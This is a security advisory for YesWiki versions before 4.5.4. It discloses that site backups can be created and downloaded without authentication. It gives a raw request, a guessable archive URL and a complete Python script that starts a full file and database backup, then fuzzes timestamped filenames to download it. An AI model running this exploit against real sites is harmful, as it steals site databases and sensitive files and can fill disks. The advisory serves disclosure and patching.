GHSA-wc9g-6j9w-hr95 YesWiki Vulnerable to Unauthenticated Site Backup Creation and Download

• Packagist yeswiki/yeswiki: < 4.5.4 → fixed in 4.5.4

Summary The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication. The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated. Details Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for: ``` POST /?api/archives HTTP/1.1 Host: localhost:8085 action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true ``` Then to retrieve it, make a simple `GET` request like to the correct URL: ``` http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip ``` A malicious attacker could simply fuzz this filename. PoC Here is a python script to fuzz this: ``` !/usr/bin/env python3 import requests import argparse import datetime import time from urllib.parse import urljoin from email.utils import parsedate_to_datetime import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) Hardcoded proxy config for Burp Suite BURP_PROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" } def send_post_request(base_url, use_proxy=False): url = urljoin(base_url, "/?api/archives") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", } data = { "action": "startArchive", "params[savefiles]": "true", "params[savedatabase]": "true", "callAsync": "true" } proxies = BURP_PROXIES if use_proxy else None response = requests.post(url, headers=headers, data=data, proxies=proxies, verify=False) print(f"[+] Archive start response code: {response.status_code}") server_date = response.headers.get("Date") if server_date: ts = parsedate_to_datetime(server_date) print(f"[✓] Server time (from Date header): {ts.strftime('%Y-%m-%d %H:%M:%S')} UTC") return ts else: print("[!] Server did not return a Date header, falling back to local UTC.") return datetime.datetime.utcnow() def try_download_files(base_url, timestamp, use_proxy=False): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36", } proxies = BURP_PROXIES if use_proxy else None print("[*] Trying to download the archive with timestamp fuzzing (±10 seconds)...") base_ts = timestamp + datetime.timedelta(hours=2) time.sleep(30) # delay to generate the archive for offset in range(-4, 15): ts = base_ts + datetime.timedelta(seconds=offset) filename = ts.strftime("%Y-%m-%dT%H-%M-%S_archive.zip") url = urljoin(base_url, f"/?api/archives/{filename}") print(f"[>] Trying: {url}") r = requests.get(url, headers=headers, proxies=proxies, verify=False) if r.status_code == 200 and r.headers.get("Content-Type", "").startswith("application/zip"): print(f"[✓] Archive found and downloaded: {filename}") with open(filename, "wb") as f: f.write(r.content) return print("[!] No archive found within the fuzzed window.") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Trigger archive and fetch resulting file with timestamp fuzzing.") parser.add_argument("host", help="Base host URL, e.g., http://localhost:8085") parser.add_argument("-p", "--proxy", action="store_true", help="Route requests through Burp Suite proxy at 127.0.0.1:8080") args = parser.parse_args() ts = send_post_request(args.host, use_proxy=args.proxy) print(f"[+] Archive request sent at (UTC): {ts.strftime('%Y-%m-%d %H:%M:%S')}") try_download_files(args.host, ts, use_proxy=args.proxy) ``` Impact Denial of Service - A malicious attacker could simply make numerous requests to create archives and fill up the file system with archives. Site Compromise - A malicious attacker can download the archive which will contain sensitive site information.